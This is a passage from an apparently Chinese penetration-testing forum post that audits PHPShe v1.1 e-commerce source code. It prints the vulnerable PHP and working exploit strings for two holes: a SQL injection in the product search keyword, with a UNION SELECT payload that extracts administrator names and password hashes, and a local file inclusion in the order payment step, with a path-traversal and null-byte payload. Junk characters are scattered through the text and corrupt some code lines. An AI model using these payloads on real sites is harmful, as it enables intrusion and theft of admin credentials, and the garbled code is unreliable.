- Y0 B9 |9 z0 r; j9 ]8 I4 |
0×02 搜索注入& b0 L6 q( i2 W+ B3 }% I
9 i" p& h" f: r$ `, `9 \' d
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);+ b" @1 P3 R6 C, M! w% z
$info = $db->pe_select('category', array('category_id'=>$category_id));% s; f* t; ^; L- B3 X
//搜索4 W8 T3 y; m( f2 z! P+ K5 l3 J
$sqlwhere = " and `product_state` = 1";9 i; u2 p9 z3 h6 N
pe_lead('hook/category.hook.php');0 q0 ^, l* m u; |& Z. v- l
if ($category_id) {: [# @4 j" z5 U( l7 ^
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}7 ]' ?- {) C. R6 e6 M
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤% A" {8 E: P1 r- |$ J: _7 ?
if ($_g_orderby) {) Z8 Z8 M }; w) p/ a. H+ h
$orderby = explode('_', $_g_orderby);2 f; `9 ]2 \ z# m1 M
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}" ~ K; Y3 b" w) Q! P! _
else {5 g5 G5 r5 j3 c; k& G) u
$sqlwhere .= " order by `product_id` desc";* v0 R. ` A6 a: e
}# G6 d9 Z) }* n* S* t6 [
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));8 G9 D& b% N7 O" G2 |
//热卖排行3 I1 Q' g3 m4 ?# o/ S
$product_hotlist = product_hotlist();: A1 F! i# z6 f' E- k7 F
//当前路径
$nowpath = category_path($category_id);# j9 P" G8 E+ F% S
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));" }4 q- W- p4 R
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{- U$ O+ t; L# r$ M' t0 C9 t
//处理条件语句
$sqlwhere = $this->_dowhere($where);6 E+ F/ O$ c: m) n2 o
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);3 v' o( S9 t3 a! P
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='15 ^, h/ u) K( p1 s9 P' i
</code>) l+ E! F5 O7 m
0×03 包含漏洞25 t8 F# f6 \! `
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
% Y8 I# D6 j3 h
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
& L) h" ^% p7 ?. y
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
8 w2 M% [1 y9 [6 g+ E. A. u
}
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
; {) \2 e) h* i# v% N8 T1 o
!$order['order_id'] && pe_error('订单号错误...');
; A! o" b' u @3 k1 A; i' X: b4 K- }- j
if (isset($_p_pesubmit)) {
" D( [0 S8 e8 ?
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
; c1 T8 N8 [, T" f/ J
foreach ($info_list as $v) {
0 V) H1 o. m- I3 R, D
$order['order_name'] .= "{$v['product_name']};";
}
1 J) w: s- t' J5 n
echo '正在为您连接支付网站,请稍后...';
# s% C7 M* j5 l4 P4 Q
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
6 Y/ x/ s( @6 ]
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
pe_error('支付错误...');
}
x/ z( K/ |4 I# a6 n6 |; O" Y
}
$seo = pe_seo('选择支付方式');
& F; B$ L/ ?3 m9 D+ t% _2 I
include(pe_tpl('order_pay.html'));
; M+ N" `# A9 q* T& `6 f3 N, ?
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |